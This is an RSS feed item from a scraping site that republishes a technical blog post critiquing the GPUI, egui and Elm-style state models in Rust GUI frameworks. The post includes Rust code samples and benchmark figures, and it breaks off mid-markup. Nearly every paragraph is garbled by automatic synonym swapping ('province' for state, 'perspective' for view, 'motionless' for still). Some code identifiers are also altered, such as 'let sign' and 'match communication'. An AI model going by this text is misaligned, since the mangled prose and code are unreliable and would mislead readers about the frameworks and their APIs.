<?xml version="1.0" encoding="UTF-8" ?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" version="2.0"> <channel> <title><![CDATA[MC Project]]></title> <description><![CDATA[Global digital products and freelance services. Focuses on development, production and distribution of programming scripts, application source code, plugins, themes and templates.]]></description> <image> <title><![CDATA[MC Project]]></title> <url>https://en.mycoding.id/favicon.ico</url> <link>https://en.mycoding.id/</link> </image> <category><![CDATA[Software Engineering, Website Development, Mobile Android App, Application Source Code, Programming Scripts]]></category> <link>https://en.mycoding.id/</link> <atom:link href="https://en.mycoding.id/rss.xml" rel="self" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/rss-videos.xml" rel="alternate" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/" rel="alternate" type="text/html"/> <pubDate>Mon, 09 Nov 2026 04:51:10 +0700</pubDate> <lastBuildDate>Mon, 09 Nov 2026 04:51:10 +0700</lastBuildDate> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <managingEditor>support@mycoding.id (Adi Gunawan)</managingEditor> <webMaster>support@mycoding.id (Adi Gunawan)</webMaster> <language>en_US</language> <copyright>MC Project</copyright> <generator>MC Project</generator> <item> <title><![CDATA[A Critique of GPUI]]></title> <description><![CDATA[A Critique of GPUI. Comments]]></description> <media:thumbnail url="https://blog.zortax.de/images/a-critique-of-gpui/scaling-linear-dark.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/a-critique-of-gpui-76220</link> <content:encoded><![CDATA[<div><div><p>Recently, there has been a trend of additional desktop GUI apps being built using native rust GUI frameworks. And there are now equal fine known speck apps getting authoritative rewrites: Discord announced their app is being rewritten using GPUI. Meanwhile, a lot of the LLM-clones being published appear to choose egui. In this post, I desire to explain why I am not certain those frameworks are a good basis to build on.</p> <p>To put it plainly: I accept the two GPUI&rsquo;s and egui&rsquo;s province models are dead ends for complex desktop applications. Both are notable projects, and they have their place. Zed genuinely feels accelerated and nice to use, and I use egui myself for debug interfaces in bevy games. But I don&rsquo;t think those frameworks should be the default choice for native desktop apps.</p> <p>I desire to create two arguments:</p> <ul> <li>Every UI architecture ends up needing to cognize what changed and who depends on it, or achievement characteristics volition not scale. A example whose state model cannot say so makes the use say it by hand, at the disbursal of whatever made that framework&rsquo;s API semantics appealing in the archetypal place.</li> <li>Once you acknowledge you desire that precision, components that run once, with signals and reactive holes, are the simplest API for it.</li> </ul> <p><em>Disclosure: I ported GPUI&rsquo;s current Linux renderer to wgpu, I built the benchmark harness used below, and I activity on <a href="https://en.mycoding.id/category/technology" target="_blank">zgui</a>, a signal-based Rust example that appears in the charts.</em></p> <h2 id="the-only-question-that-matters">The lone inquiry that matters<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> <p>Raph Levien quotes Ron Minsky: &ldquo;hidden inner of all UI example is some kind of incrementalization framework.&rdquo; A UI is a function of state, and state changes a small at a time. But if that function becomes expensive, you might desire to commencement looking for ways to get a faster way to update pixels on the display from an incremental province change. So all example has to answer one question: whenever one value changes, what runs?</p> <div><table readabilitydatatable="1"><thead><tr><th>Model</th><th>What a compose runs</th><th>Who finds the change</th></tr></thead><tbody> <tr><td>Immediate (egui)</td><td>All UI code, next frame</td><td>Nobody</td></tr> <tr><td>Elm (Iced)</td><td>All of view, afterward a diff</td><td>The diff</td></tr> <tr><td>Views (GPUI)</td><td>Every perspective without a cache</td><td>You, alongside notify</td></tr> <tr><td>Signals, re-run (Freya, Compose)</td><td>Components that peruse it</td><td>The framework</td></tr> <tr><td>Signals, run formerly (Floem, Solid, zgui)</td><td>Closures that peruse it</td><td>The framework</td></tr> </tbody></table> </div> <p>I comprehend why group akin the archetypal three. No province to synchronize, one place anywhere province lives, a render function that is plain Rust, no macros or separate compiler. I&rsquo;m gonna create the disagreement that these approaches don&rsquo;t scale, and fixing the underlying issue defeats what makes these models simple and uncomplicated to logic about.</p> <h2 id="gpui-notify-is-zonejs">GPUI: notify is zone.js<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> <p>GPUI calls itself &ldquo;a hybrid contiguous and retained mode&rdquo; framework. It retains province in entities. The UI is defined in render functions, changing state must trigger a rerun.</p> <div data-lang="rust"><pre><span><span><span>impl</span> </span><span>Render <span>for</span></span><span> <span>Sidebar</span> </span><span><span><span>{</span> <span><span><span>fn</span> </span><span>render</span></span><span><span><span>(</span> <span>&amp;</span><span>mut</span> <span>self</span>, <span>_</span>: <span>&amp;</span><span>mut</span> Window, <span>cx</span><span>:</span> <span>&amp;</span><span>mut</span> <span>Context<span>&lt;</span><span>Self</span><span>&gt;</span></span>, </span><span><span><span>)</span></span></span></span><span> <span><span>-&gt;</span> impl IntoElement</span> </span><span><span><span>{</span> <span>let</span> inbox <span>=</span> <span>self</span><span>.</span>inbox<span>.</span><span>read</span><span><span>(</span>cx</span><span><span>)</span></span><span>;</span> <span>div</span><span><span>(</span></span><span><span>)</span></span> <span>.</span><span>child</span><span><span>(</span><span>format!</span><span><span>(</span></span><span><span><span>"</span><span>{}</span> unread<span>"</span></span></span><span><span>,</span> inbox<span>.</span><span>unread</span><span><span>(</span></span><span><span>)</span></span><span>)</span></span></span><span><span>)</span></span> <span>.</span><span>children</span><span><span>(</span>inbox<span>.</span>threads<span>.</span><span>iter</span><span><span>(</span></span><span><span>)</span></span><span>.</span><span>map</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>t</span><span>|</span></span> </span><span>t<span>.</span>title<span>.</span><span>clone</span><span><span>(</span></span><span><span>)</span></span></span></span><span><span>)</span></span></span><span><span>)</span></span> </span><span><span>}</span></span></span> </span><span><span>}</span></span></span></span></pre></div> <p>It is average Rust. You can use if, for and local variables, and there aren&rsquo;t any weird wrappers. State changes necessitate an definitive notification:</p> <div data-lang="rust"><pre><span><span>self</span><span>.</span>threads<span><span>[</span>i<span>]</span></span><span>.</span>unread <span>=</span> <span>false</span><span>;</span> cx<span>.</span><span>notify</span><span><span>(</span></span><span><span>)</span></span><span>;</span></span></pre></div> <p>notify carries the being id. Since Rust doesn&rsquo;t have a compose obstacle on &amp;mut, GPUI cannot see which site changed (or whether item changed at all). The Angular squad wrote this concerning zone.js in 2023: it &ldquo;is lone capable of notifying us whenever item <em>might</em> have happened&rdquo;, and &ldquo;This method has not scaled well.&rdquo; notify is additional exact than a zone, since it names an entity, but ultimately it makes the identical benevolent of statement. Below that id, GPUI knows nothing, so it re-renders all perspective that is not rearward a valid .cached() boundary. And in practice, GPUI frequently rerender all view, because .cached() is rarely used by use authors, and imposes certain restrictions on layout semantics.</p> <p>GPUI has a position of being &ldquo;fast&rdquo;. And during constants power be relatively low, asymptotically, it is leaving a lot on the table. So I ran a few benchmarks, that specifically test how much a sparse province alter in a ample UI really costs.</p> <p>At 3,000 live rows alongside a cached perspective per row, changing one tag takes 8.4 ms. A hover, a keystroke and penning a value equal to the old one all disbursal about the same, since the disbursal follows the tree and not the change. It grows by about 3 ms per 1,000 live rows. Write the rows as plain elements, as in the code above, and the identical tag takes 92 ms. A hand-written equality defender takes the equal compose from 7.9 ms to 0.9 &micro;s (demonstrating how much is remaining for each call location to find).</p> <figure><img src="https://blog.zortax.de/images/a-critique-of-gpui/scaling-linear.png" alt="On a linear axis, the disbursal per row is the slope" loading="lazy" decoding="async"><img src="https://blog.zortax.de/images/a-critique-of-gpui/scaling-linear-dark.png" alt="On a linear axis, the disbursal per row is the slope" loading="lazy" decoding="async"></figure> <p>This doesn&rsquo;t average that all GPUI app is slow, but it shows the bounds of the state model. Especially alongside additional costly layout, you <em>do hit</em> this wall in practice. Zed power awareness fast, but the fact is that Zed is a relatively simple app, UI wise. The app&rsquo;s chrome contains a few buttons, in a simple layout, a sidebar and a content editor, and the content publishing company is implemented as a custom element, entirely bypassing GPUI&rsquo;s layout and perspective semantics. By their own account, a opening &ldquo;has tens of nodes and a few thousand elements&rdquo;.</p> <h2 id="making-gpui-precise-defeats-gpui">Making GPUI exact defeats GPUI<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> <p>The apparent fix is to keep more. Zed has experimental branches for this, and Longbridge&rsquo;s gpui-fast is a fork that keeps all view&rsquo;s subtree between frames. It works, inside a limit: the smallest item either one can reuse is a view. So to update one tag without rebuilding the sidebar, the label have to be a view:</p> <div data-lang="rust"><pre><span><span><span>pub</span> <span>struct</span> </span><span><span>UnreadBadge</span> </span><span><span><span>{</span> <span>unread</span><span>:</span> <span>usize</span>, <span>_watch</span><span>:</span> Subscription </span><span><span>}</span></span></span> <span><span>impl</span> </span><span><span>UnreadBadge</span> </span><span><span><span>{</span> <span><span><span>pub</span> <span>fn</span> </span><span>new</span></span><span><span><span>(</span><span>inbox</span><span>:</span> <span>Entity<span>&lt;</span>Inbox<span>&gt;</span></span>, <span>cx</span><span>:</span> <span>&amp;</span><span>mut</span> <span>Context<span>&lt;</span><span>Self</span><span>&gt;</span></span></span><span><span><span>)</span></span></span></span><span> <span><span>-&gt;</span> <span>Self</span></span> </span><span><span><span>{</span> <span>let</span> unread <span>=</span> inbox<span>.</span><span>read</span><span><span>(</span>cx</span><span><span>)</span></span><span>.</span><span>unread</span><span><span>(</span></span><span><span>)</span></span><span>;</span> <span>let</span> _watch <span>=</span> cx<span>.</span><span>observe</span><span><span>(</span><span>&amp;</span>inbox<span>,</span> <span><span><span>|</span></span></span><span><span><span>this</span><span>,</span> <span>inbox</span><span>,</span> <span>cx</span><span>|</span></span> </span><span><span><span>{</span> <span>let</span> unread <span>=</span> inbox<span>.</span><span>read</span><span><span>(</span>cx</span><span><span>)</span></span><span>.</span><span>unread</span><span><span>(</span></span><span><span>)</span></span><span>;</span> <span>if</span> unread <span>!=</span> this<span>.</span>unread <span><span>{</span> this<span>.</span>unread <span>=</span> unread<span>;</span> cx<span>.</span><span>notify</span><span><span>(</span></span><span><span>)</span></span><span>;</span> </span><span><span>}</span></span> </span><span><span>}</span></span></span></span><span><span>)</span></span><span>;</span> <span>Self</span> <span><span>{</span> unread<span>,</span> _watch </span><span><span>}</span></span> </span><span><span>}</span></span></span> </span><span><span>}</span></span></span> <span><span>impl</span> </span><span>Render <span>for</span></span><span> <span>UnreadBadge</span> </span><span><span><span>{</span> <span><span><span>fn</span> </span><span>render</span></span><span><span><span>(</span> <span>&amp;</span><span>mut</span> <span>self</span>, <span>_</span>: <span>&amp;</span><span>mut</span> Window, <span>_</span>: <span>&amp;</span><span>mut</span> <span>Context<span>&lt;</span><span>Self</span><span>&gt;</span></span>, </span><span><span><span>)</span></span></span></span><span> <span><span>-&gt;</span> impl IntoElement</span> </span><span><span><span>{</span> <span>format!</span><span><span>(</span></span><span><span><span>"</span><span>{}</span> unread<span>"</span></span></span><span><span>,</span> <span>self</span><span>.</span>unread<span>)</span></span> </span><span><span>}</span></span></span> </span><span><span>}</span></span></span></span></pre></div> <p>Its owner afterward has to create it and keep the handle:</p> <div data-lang="rust"><pre><span><span>let</span> sign <span>=</span> cx<span>.</span><span>new</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>cx</span><span>|</span></span> </span><span><span>UnreadBadge<span>::</span></span>new<span><span>(</span>inbox<span>.</span><span>clone</span><span><span>(</span></span><span><span>)</span></span><span>,</span> cx</span><span><span>)</span></span></span></span><span><span>)</span></span><span>;</span></span></pre></div> <p>That is an entity, a Render impl, a subscription, a stored copy of the value, a hand-written defender and an owner, all to province that one tag depends on one count. In a indication example it is this:</p> <div data-lang="rust"><pre><span><span>let</span> unread <span>=</span> <span>Memo<span>::</span></span>new<span><span>(</span><span>move</span> <span>|</span><span>_</span><span>|</span> <span><span>{</span> threads<span>.</span><span>with</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>ts</span><span>|</span></span> </span><span>ts<span>.</span><span>iter</span><span><span>(</span></span><span><span>)</span></span><span>.</span><span>filter</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>t</span><span>|</span></span> </span><span>t<span>.</span>unread<span>.</span><span>get</span><span><span>(</span></span><span><span>)</span></span></span></span><span><span>)</span></span><span>.</span><span>count</span><span><span>(</span></span><span><span>)</span></span></span></span><span><span>)</span></span> </span><span><span>}</span></span></span><span><span>)</span></span><span>;</span> <span>Label<span>::</span></span>derived<span><span>(</span><span>move</span> <span>||</span> <span>format!</span><span><span>(</span></span><span><span><span>"</span><span>{}</span> unread<span>"</span></span></span><span><span>,</span> unread<span>.</span><span>get</span><span><span>(</span></span><span><span>)</span></span><span>)</span></span></span><span><span>)</span></span></span></pre></div> <p>The remainder of GPUI&rsquo;s API plant against this too. Render takes no props, so parents shove values into kid entities during their own render. RenderOnce components, which is what buttons and rows are, diagram inner their parent&rsquo;s view and are no border at all. List rows are closures, so a row perspective means managing a keyed map of entities by hand.</p> <p>And it lone helps anywhere province happens to row up alongside views. I reran gpui-fast&rsquo;s own 60-panel benchmark, drew all example once, and afterward moved the state:</p> <figure><img src="https://blog.zortax.de/images/a-critique-of-gpui/retention.png" alt="Retention pays lone anywhere province already matches the views" loading="lazy" decoding="async"><img src="https://blog.zortax.de/images/a-critique-of-gpui/retention-dark.png" alt="Retention pays lone anywhere province already matches the views" loading="lazy" decoding="async"></figure> <p>With province owned by all panel, one alter saves 83%. With a shared model, retention makes the identical example 11% slower. The opening and the edit are identical. In genuine Zed, the Zed squad measured preservation &ldquo;1&ndash;3% slower than off on average workloads&rdquo;, established that &ldquo;Most of the real-Zed win&rdquo; came from other work, and warned that &ldquo;microbenchmark wins didn&rsquo;t foretell real-Zed results&rdquo;. gpui-fast is genuine advancement and expenses small to adopt: it takes the 3,000-row tag from 8.4 to 3.4 ms. But that example renders three views and lays out one element, and motionless spends 3.4 ms, since the example is motionless a walk complete the entire tree.</p> <p>The web has already walked this road. Redux&rsquo;s manner guide says &ldquo;Prefer having more UI components subscribed to the Redux shop and study data at a more granular level&rdquo;. MobX says to &ldquo;create many of small observer components&rdquo;. Both inform you to create a border per projection, manually, because the example can&rsquo;t infer it.</p> <p>This is the part I discover hardest to get past. People choose GPUI since render is a plain function of state. A UI anywhere all projection is a separately owned entity alongside a subscription and a defender is no longer that. It is a indication graph built by hand from much heavier parts, anywhere a missed border is silent. Zed&rsquo;s own design note says &ldquo;Missing notifications are use bugs&rdquo;. Keep the pleasant API and you get view-sized updates. Take the precision and you endure the pleasant API. A signals crate on top would not alter the trade, since its smallest descend is motionless a view. Reaching one node alongside no render operating needs writes the example can see and nodes that outlive a frame, and that method a new province example and a new component contract.</p> <h2 id="elm-deceptively-simple-at-small-scales">Elm: deceptively uncomplicated at small scales<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> <p>At the size it is normally shown, the Elm architecture is a deceptively simple UI model: one province value, one update, one view, and all alter has a name. While ample applications do use it successully, I do desire to make the item that this clarity belongs to the small case, and in a complex application signals and stores are arguably easier to logic about.</p> <p>Take the identical unread count. It have to be correct following all message, so either view recomputes it on all update or update maintains it:</p> <div data-lang="rust"><pre><span><span>match</span> communication <span><span>{</span> <span>InboxMessage<span>::</span></span>MarkRead<span><span>(</span>i</span><span><span>)</span></span> <span>=&gt;</span> <span><span>{</span> <span>if</span> <span>self</span><span>.</span>threads<span><span>[</span>i<span>]</span></span><span>.</span>unread <span><span>{</span> <span>self</span><span>.</span>threads<span><span>[</span>i<span>]</span></span><span>.</span>unread <span>=</span> <span>false</span><span>;</span> <span>self</span><span>.</span>unread <span>-=</span> <span>1</span><span>;</span> </span><span><span>}</span></span> </span><span><span>}</span></span> <span>InboxMessage<span>::</span></span>Delete<span><span>(</span>i</span><span><span>)</span></span> <span>=&gt;</span> <span><span>{</span> <span>if</span> <span>self</span><span>.</span>threads<span>.</span><span>remove</span><span><span>(</span>i</span><span><span>)</span></span><span>.</span>unread <span><span>{</span> <span>self</span><span>.</span>unread <span>-=</span> <span>1</span><span>;</span> </span><span><span>}</span></span> </span><span><span>}</span></span> <span>InboxMessage<span>::</span></span>Arrived<span><span>(</span>thread</span><span><span>)</span></span> <span>=&gt;</span> <span><span>{</span> <span>self</span><span>.</span>unread <span>+=</span> thread<span>.</span>unread <span>as</span> <span>usize</span><span>;</span> <span>self</span><span>.</span>threads<span>.</span><span>push</span><span><span>(</span>thread</span><span><span>)</span></span><span>;</span> </span><span><span>}</span></span> </span><span><span>}</span></span></span></pre></div> <p>The definition of unread is now nowhere in particular. It is dispersed across every arm that touches a thread, and all new communication has to recall it. The compiler checks that the equivalent is exhaustive, but it does not inspect the arithmetic. The memo complete has one definition, and a new author cannot forget it.</p> <p>The identical item happens alongside location. Where does a hover province or a half-typed draft live? Single origin of fact says in the model, alongside a communication type routed downward and an outcome routed rear up. Elm&rsquo;s guide: &ldquo;Actively trying to make components is a formula for catastrophe in Elm.&rdquo;. Iced recommends returning an Action to the parent. Iced&rsquo;s maintainer says components in this architecture continually end &ldquo;with pain&rdquo;, and additionally makes the finest case for the discipline: avoiding them &ldquo;forces you to think difficult concerning your data model&rdquo;. Okay, I conjecture that&rsquo;s a fair argument. But cosmic-files has 136 top-level communication variants and 73 additional for a tab, affirmative a Tab::update that returns commands for the genitor to interpret. Everything in that is explicit, and none of it is simple.</p> <p>The architecture additionally has the identical matter GPUI has. The update implementation tells you what a communication writes, it cannot inform you what peruse the field. Anything inner the perspective might. Elm&rsquo;s architecture doesn&rsquo;t answer &ldquo;what changed?&rdquo;, it answers &ldquo;what happened?&rdquo;. Session export power be helpful in some scenarios, but it is not helpful for scalable achievement characteristics.</p> <p>This is what I peruse in the web&rsquo;s history. Redux is the best-known related of this design, and its docs peruse akin a site report. Treat a part of your store &ldquo;as if it were a database&rdquo;. Selectors &ldquo;will be re-run following every dispatched action&rdquo;. The center bundle is &ldquo;obsolete&rdquo;, replaced by a toolkit made to eliminate boilerplate. Outside React, the mainstream has moved to tracked reads. Angular, Vue, Svelte and Solid build on signals or something equivalent, Preact offers them, and Svelte&rsquo;s squad put it this way: &ldquo;we&rsquo;ve come to the realisation that Knockout was correct all along.&rdquo; Inside React, Jotai and MobX bring tracking in as libraries, and Legend-State equal offers a &ldquo;render once&rdquo; style. Most applications are motionless on React, and React&rsquo;s team disagrees, which I arrive rear to below. So the convergence is on the province model, outside one ample exception.</p> <p>Performance follows the identical line. Since Iced rebuilds all of perspective after every lot of messages, one tag at 3,000 rows builds 39,023 widgets and takes 7.3 ms. Lazy on all row lone gets that to 5.7 ms, since view still has to sojourn all row to hash its key. The authoritative lazy example keys on a version: u8 that four update arms bump by hand. That is a dirty flag alongside a nicer name. In fairness, cosmic-files and Halloy use no lazy at all, and on a virtualized catalog Iced is among the fastest frameworks I measured, at 0.19 ms. A bounded display rebuilds cheaply. But asymptotic complexity is clear. And akin to GPUI, the API semantics merely can&rsquo;t express the necessary information.</p> <p>There is really precedence for this: Vizia shows what happens whenever you add precision to this model. It moved from lenses to signals in March 2026 and kept its Model and event dispatch. This is its counter, shortened:</p> <div data-lang="rust"><pre><span><span><span>pub</span> <span>enum</span> <span>AppEvent</span> <span><span>{</span> Increment<span>,</span> </span><span><span>}</span></span></span> <span><span>impl</span> </span><span>Model <span>for</span></span><span> <span>AppData</span> </span><span><span><span>{</span> <span><span><span>fn</span> </span><span>event</span></span><span><span><span>(</span><span>&amp;</span><span>mut</span> <span>self</span>, <span>_</span>: <span>&amp;</span><span>mut</span> EventContext, <span>event</span><span>:</span> <span>&amp;</span><span>mut</span> Event</span><span><span><span>)</span></span></span></span><span> </span><span><span><span>{</span> event<span>.</span><span>map</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>app_event</span><span>,</span> _<span>|</span></span> </span><span><span>match</span> app_event <span><span>{</span> <span>AppEvent<span>::</span></span>Increment <span>=&gt;</span> <span>self</span><span>.</span>count<span>.</span><span>update</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>count</span><span>|</span></span> </span><span><span>*</span>count <span>+=</span> <span>1</span></span></span><span><span>)</span></span><span>,</span> </span><span><span>}</span></span></span></span><span><span>)</span></span><span>;</span> </span><span><span>}</span></span></span> </span><span><span>}</span></span></span></span></pre></div> <div data-lang="rust"><pre><span><span>let</span> figure <span>=</span> <span>Signal<span>::</span></span>new<span><span>(</span><span>0</span></span><span><span>)</span></span><span>;</span> AppData <span><span>{</span> figure </span><span><span>}</span></span><span>.</span><span>build</span><span><span>(</span>cx</span><span><span>)</span></span><span>;</span> <span>Button<span>::</span></span>new<span><span>(</span>cx<span>,</span> <span><span><span>|</span></span></span><span><span><span>cx</span><span>|</span></span> </span><span><span>Label<span>::</span></span>new<span><span>(</span>cx<span>,</span> <span><span>"</span>Increment<span>"</span></span></span><span><span>)</span></span></span></span><span><span>)</span></span> <span>.</span><span>on_press</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>cx</span><span>|</span></span> </span><span>cx<span>.</span><span>emit</span><span><span>(</span><span>AppEvent<span>::</span></span>Increment</span><span><span>)</span></span></span></span><span><span>)</span></span><span>;</span> <span>Label<span>::</span></span>new<span><span>(</span>cx<span>,</span> count</span><span><span>)</span></span><span>.</span><span>width</span><span><span>(</span>Pixels<span><span>(</span><span>50.</span><span>0</span></span><span><span>)</span></span></span><span><span>)</span></span><span>.</span><span>live</span><span><span>(</span><span>Live<span>::</span></span>Polite</span><span><span>)</span></span><span>;</span></span></pre></div> <p>The tag says the indication directly, and the identical closure that builds the button created it. The enum, the dispatch and the handler be to transport one call to update. Vizia was never strict Elm, since its views are built once, and signals were a sensible move: it got per-field writes. But appearance at what remains of Elm&rsquo;s reasons. State is a chart of mutable cells, Model is a bag of handles, and event is a &amp;mut oneself flank effect. You now have two systems for saying that item changed. So my exception to adding signals to the Elm architecture really is the identical as alongside GPUI: they work, and they eliminate what you came for.</p> <p>egui&rsquo;s throw is the finest in the field: &ldquo;You don&rsquo;t have to concern concerning app state and GUI province being out-of-sync&rdquo;. For a tool, this is difficult to beat:</p> <div data-lang="rust"><pre><span><span>for</span> row <span>in</span> rows <span><span>{</span> ui<span>.</span><span>horizontal</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>ui</span><span>|</span></span> </span><span><span><span>{</span> ui<span>.</span><span>label</span><span><span>(</span><span>&amp;</span>row<span>.</span>name</span><span><span>)</span></span><span>;</span> ui<span>.</span><span>label</span><span><span>(</span>row<span>.</span>price<span>.</span><span>to_string</span><span><span>(</span></span><span><span>)</span></span></span><span><span>)</span></span><span>;</span> <span>if</span> ui<span>.</span><span>button</span><span><span>(</span><span><span>"</span>+<span>"</span></span></span><span><span>)</span></span><span>.</span><span>clicked</span><span><span>(</span></span><span><span>)</span></span> <span><span>{</span> row<span>.</span>price <span>+=</span> <span>1</span><span>;</span> </span><span><span>}</span></span> </span><span><span>}</span></span></span></span><span><span>)</span></span><span>;</span> </span><span><span>}</span></span></span></pre></div> <p>The cost is that a example expenses the size of the UI, autonomous of what changed. At 3,000 rows all small edit takes concerning 32 ms, or concerning 19 ms with accessibility off. egui&rsquo;s author is candid concerning the trade: contiguous manner is &ldquo;easier to use, but small powerful&rdquo;.</p> <p>As the use grows, the first attention goes. The layout paradox is &ldquo;a fundamental shortcoming&rdquo;. Long lists need show_rows, which takes one fixed row height. Rerun, the largest egui use I cognize of, clamps queries by &ldquo;inspecting egui province from the former frame&rdquo;. Anything costly goes behind a cache keyed on your data. A cache that has to concur alongside your data is the synchronization issue contiguous manner set out to remove, now in application code, one example late.</p> <h2 id="one-engine-different-wiring">One engine, distinct wiring<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> <p>The harness can display this directly, since several frameworks can be wired coarsely and finely on the identical engine:</p> <p>I benchmarked several of the engines in two ways, formerly in the most fine grained way they can be used, and formerly in a coarser way. The results display how much there is to acquire alongside fine-grained reactivity.</p> <figure><img src="https://blog.zortax.de/images/a-critique-of-gpui/granularity.png" alt="Tracking pays, unless the perspective function motionless has to run" loading="lazy" decoding="async"><img src="https://blog.zortax.de/images/a-critique-of-gpui/granularity-dark.png" alt="Tracking pays, unless the perspective function motionless has to run" loading="lazy" decoding="async"></figure> <p>Two things remain out. Iced&rsquo;s aspect is small since the perspective function still runs. And Floem&rsquo;s coarse case is value a look: all division says one global revision signal, which is notify in indication clothing. It is the slowest result on the chart. So signals do not rescue coarse state. The React squad established the same item from the another side: on a benchmark alongside &ldquo;one elephantine input&rdquo;, a signals-style runtime disappointed, and Joe Savona concluded the data example &ldquo;is just as important, perchance additional so&rdquo; than the algorithm. The province has to be shaped akin the reads. That is why I call this a province example problem. A good API should create it uncomplicated to align the data example alongside its UI projection.</p> <h2 id="why-run-once">Why run once<a href="https://en.mycoding.id/category/technology" target="_blank" aria-label="Link to this section"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg></a></h2> <p>Suppose you obtain all of that. You desire the example to track reads, and you want province shaped to match. What is the simplest API?</p> <div data-lang="rust"><pre><span><span><span><span>pub</span> <span>fn</span> </span><span>sidebar</span></span><span><span><span>(</span><span>threads</span><span>:</span> <span>RwSignal<span>&lt;</span><span><span>Vec</span><span>&lt;</span>Thread<span>&gt;</span></span><span>&gt;</span></span></span><span><span><span>)</span></span></span></span><span> <span><span>-&gt;</span> impl IntoView</span> </span><span><span><span>{</span> <span>let</span> unread <span>=</span> <span>Memo<span>::</span></span>new<span><span>(</span><span>move</span> <span>|</span><span>_</span><span>|</span> <span><span>{</span> threads<span>.</span><span>with</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>ts</span><span>|</span></span> </span><span>ts<span>.</span><span>iter</span><span><span>(</span></span><span><span>)</span></span><span>.</span><span>filter</span><span><span>(</span><span><span><span>|</span></span></span><span><span><span>t</span><span>|</span></span> </span><span>t<span>.</span>unread<span>.</span><span>get</span><span><span>(</span></span><span><span>)</span></span></span></span><span><span>)</span></span><span>.</span><span>count</span><span><span>(</span></span><span><span>)</span></span></span></span><span><span>)</span></span> </span><span><span>}</span></span></span><span><span>)</span></span><span>;</span> <span>Stack<span>::</span></span>vertical<span><span>(</span><span><span>(</span> <span>Label<span>::</span></span>derived<span><span>(</span><span>move</span> <span>||</span> <span>format!</span><span><span>(</span></span><span><span><span>"</span><span>{}</span> unread<span>"</span></span></span><span><span>,</span> unread<span>.</span><span>get</span><span><span>(</span></span><span><span>)</span></span><span>)</span></span></span><span><span>)</span></span><span>,</span> <span>dyn_stack</span><span><span>(</span><span>move</span> <span>||</span> threads<span>.</span><span>get</span><span><span>(</span></span><span><span>)</span></span><span>,</span> <span><span><span>|</span></span></span><span><span><span>t</span><span>|</span></span> </span><span>t<span>.</span>id<span>,</span> thread_row</span></span><span><span>)</span></span><span>,</span> </span><span><span>)</span></span></span><span><span>)</span></span> </span><span><span>}</span></span></span></span></pre></div> <p>That is the entire thing. The build runs once. The closures you hand to the framework run again whenever item they peruse changes. A local changeable is a local variable. There are no hook rules, no dependency arrays, no stale closures and no PartialEq on props. Nothing reconstructs a row&rsquo;s identity, because the row is motionless there.</p> <p>Compare signals alongside re-running components, which is Freya&rsquo;s model. It works well: one keystroke at 3,000 rows expenses 1.2 ms. But appearance at a counter:</p> <div 